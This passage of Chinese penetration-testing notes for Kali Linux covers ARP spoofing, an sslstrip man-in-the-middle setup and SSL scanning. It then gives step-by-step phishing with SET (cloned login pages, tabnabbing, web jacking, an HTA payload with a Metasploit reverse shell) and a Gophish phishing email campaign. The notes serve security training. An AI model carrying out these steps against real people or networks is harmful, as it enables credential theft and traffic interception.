  4. CAP 文件:是 Bettercap 脚本文件,后缀为.cap,可在启动时指定或用 include 命令加载,实现常见攻击场景,可通过 caplets.update 安装更新,caplets.show 查看已安装文件,在交互会话中输入文件名可实现自动化流程。

(四)arpspoof 工具

用于 ARP 欺骗,优点是轻量级、易用、配置简单,缺点是功能单一。先开启内核转发功能,在终端输入 arpspoof - i [网络接口] - t [目标主机 IP 地址] [网关 IP 地址] 对目标主机执行欺骗,可用 tcpdump 等工具查看数据流。

(五)SSL 攻击

  1. 漏洞检测
    • testssl 工具:需自行下载(wget https://testssl.sh/testssl.shchmod + x testssl.sh),输入 ./testssl.sh [域名或 IP 地址] 可检测 TLS/SSL 配置和漏洞,也可检测特定漏洞(如 ./testssl.sh -- heartbleed [域名或 IP 地址])。
    • SSLScan 工具:预装在 Kali Linux,输入 sslscan [域名或 IP 地址] 可检测 SSL 服务相关信息,但功能有局限。
  2. 中间人攻击:利用中间人攻击技术劫持 SSL 通信,先开启内核转发功能,设置防火墙规则(iptables - t nat - A PREROUTING - p tcp -- destination - port 80 - j REDIRECT -- to - port 5353),用 sslstrip - l 5353 监听降级 SSL 通信,再用 Ettercap 等工具对目标主机执行 ARP 欺骗,使目标主机访问 HTTPS 网页重定向为 HTTP,从而提取未加密流量。

社会工程学

一、社会工程学概述

社会工程学是利用人的心理弱点和社会规则漏洞,通过欺骗等手段获取有价值信息或非法利益的学科,在渗透测试中常用,可绕过技术防御直接攻击目标人员。实施社会工程学攻击需提前做好以下三点:

  1. 信息收集:通过搜索引擎、社交媒体、公开数据库等收集目标基本信息(姓名、职位等),用于定位目标、选择攻击向量和定制攻击内容。
  2. 目标分析:分析收集的信息,了解目标心理特征、行为模式和风险意识等,识别心理弱点、信任点和诱惑点。
  3. 攻击计划:根据前两者结果制定详细计划,包括攻击目的、方式、时间和步骤等,组织攻击流程、预测风险并提供应对措施。

Kali Linux提供了相关工具和框架,可生成木马文件或网页链接诱使目标操作。本章主要知识点包括社会工程学攻击方法、Social - Engineer Toolkit(SET)用法、伪装攻击者 URL 地址和钓鱼邮件攻击等。

二、社会工程学攻击方法

凯文·米特尼克指出人为因素是安全软肋,实际案例中企业虽投入大量资金仍可能被渗透,原因是目标人员易受信任关系影响而被欺骗获取关键信息或被控制执行恶意操作。常见攻击方法如下:

  1. 钓鱼邮件:冒充可信任发件人,用紧迫或诱人话语诱使目标单击链接或附件,窃取个人信息或感染计算机。
  2. 钓鱼短信:发送伪装可信短信,诱导目标提供个人信息或访问恶意链接。
  3. 无线网络钓鱼:创建虚假无线热点或网站,诱导用户连接或访问,窃取敏感信息或植入恶意软件。
  4. 物理接入:利用物理手段或设备进入目标场所或网络,获取敏感信息或执行恶意操作。

三、Social - Engineer Toolkit(SET)

SET 是 Kali Linux 中专门为社会工程学设计的开源渗透测试框架,可实施多种攻击并与其他工具联动提高效率。

(一)窃取凭据

通过创建钓鱼网站克隆真实页面,欺骗用户输入账号密码,在后台捕获显示。操作步骤如下:

  1. 在终端执行 setoolkit 命令启动 SET,首次启动需同意使用条款输入 y 进入交互式命令行界面。
  2. 选择 Social - Engineering Attacks,再选择 Website Attack Vectors,接着选择 Credential Harvester Attack Method
  3. 可通过以下方式创建钓鱼页面:
    • 预定义模板:选择后输入收集数据的服务器地址(如 192.168.8.138),有 Java Required、Google 和 Twitter 等模板,以 Google 为例启动后目标访问服务器地址可看到类似 Google 登录界面,提交表单后在 SET 界面查看凭据信息,提交后自动重定向到真实页面。
    • 克隆网站:选择克隆网站功能,输入服务器地址,在浏览器访问该地址可看到克隆的现有网站,诱导目标访问并输入信息,提交后在 SET 界面查看凭据。
    • 自定义网站:选择导入自定义文件功能,输入服务器地址和自定义网站文件路径(如通过 wget -k -p http://testphp.vulnweb.com/login.php 下载并更改文件名),选择导入所有文件,输入重定向 URL 地址,成功诱使目标提交信息后在 SET 界面查看凭据。

(二)使用标签钓鱼窃取凭据

由 Aza Raskin 发明,利用浏览器标签页欺骗用户。操作步骤:

  1. 在 SET 主界面依次选择社会工程学攻击、网站攻击方法、Tabnabbing Attack Method,启动前需编辑 /usr/share/set/src/webattack/tabnabbing/tabnabbing.py 代码修正 module 'urllib' has no attribute 'urlopen' 问题。
  2. 选择克隆网站模块,输入收集凭据的服务器地址和克隆网站的 URL 地址创建标签钓鱼网站。用户访问时会提示等待加载,若切换标签页或离开计算机,页面会变成钓鱼网站,用户返回输入信息后可在 SET 界面查看凭据,同时自动跳转到真实页面。

(三)Web 劫持攻击

利用 iframe 替换技术,伪造 URL 诱导目标单击访问,窃取数据或执行恶意操作。操作步骤:

  1. 在 SET 主界面依次选择社会工程学攻击、网站攻击方法、Web Jacking Attack Method。
  2. 选择克隆网站模块,输入收集凭据的服务器地址和克隆网站地址创建钓鱼网站。目标访问时会看到弹出窗口显示克隆网站内容并提示单击链接,单击后被恶意链接覆盖,加载克隆钓鱼网站,用户提交登录表单后在 SET 界面查看凭据。

(四)多重攻击网络方法

将多种攻击方式结合在钓鱼网站攻击中,在 SET 中选择相应选项后可配置创建钓鱼网站方式和服务器地址,选择要组合使用的攻击方法,目标访问时依次触发攻击直至成功。

(五)HTA 攻击

利用 HTA 文件进行 PowerShell 注入,可通过浏览器对 Windows 系统利用。操作步骤:

  1. 在 SET 主界面依次选择社会工程学攻击、网站攻击模块、HTA Attack Method。
  2. 选择网站克隆技术创建钓鱼网站页面,设置 Metasploit 的 payload(监听 IP 地址、端口和反向连接协议),SET 自动生成 payload 并启用 Metasploit 框架监听会话。目标单击钓鱼链接后看到弹出窗口提示下载文件,下载打开后运行 HTA 文件执行 payload,若成功攻击者可控制目标主机并获取信息。

四、钓鱼邮件攻击

利用电子邮件诱骗目标单击恶意链接或附件,窃取敏感信息或安装恶意软件,通常伪装可信来源并利用情感诱因促使目标行动。常用工具是 Gophish。

(一)Gophish 的安装和配置

  1. 从 GitHub 下载适合 Kali Linux 的安装包并解压到指定文件夹,赋予可执行权限。
  2. 编辑 config.json 配置文件,可修改后台管理界面和钓鱼网站的地址与端口、数据库相关设置等。例如修改 admin_server.listen_url 可改变后台管理界面访问地址和端口,修改 phish_server.listen_url 可改变钓鱼网站监听地址和端口,还可设置是否使用 TLS 加密等。
  3. 执行 ./gophish 命令启动服务,在浏览器输入 https://127.0.0.1:3333 访问后台管理界面,首次登录修改密码后进入主界面。

(二)使用 Gophish 发起钓鱼邮件攻击

  1. 创建邮箱发送策略:登录支持相关服务的邮箱(如网易邮箱)开启 IMAP/SMTP 和 POP3/SMTP 服务并新增授权密码。在 Gophish 主界面选择 Sending Profiles 菜单创建策略,输入策略名称、发件人邮箱地址、SMTP 服务器、用户名和密码等信息,可测试发送邮件,保存策略。
  2. 创建钓鱼网站页面:选择 Landing Pages 菜单创建钓鱼页面,可修改 HTML 或克隆指定 URL 网站,勾选数据捕获和密码捕获功能,填写重定向 URL 地址后保存。
  3. 创建钓鱼邮件模板:在 Email Templates 菜单创建模板,填写名称等信息,编辑邮件内容(可使用变量如 {{.URL}} 显示钓鱼页面 URL 地址)后保存。
  4. 创建用户和组:在 Users & Groups 菜单创建组并添加用户,输入组名和用户邮箱地址、姓名等信息后保存。
  5. 发起钓鱼邮件攻击:在 Campaigns 菜单创建钓鱼活动,选择之前创建的邮箱发送策略、钓鱼页面、邮件模板和用户组,设置活动时间,单击 Launch Campaign 按钮开始攻击,在 Dashboard 菜单查看统计数据和详细信息。

SRC专项

想听一下月神小火炬北山的课啊,先挖个坑在这里。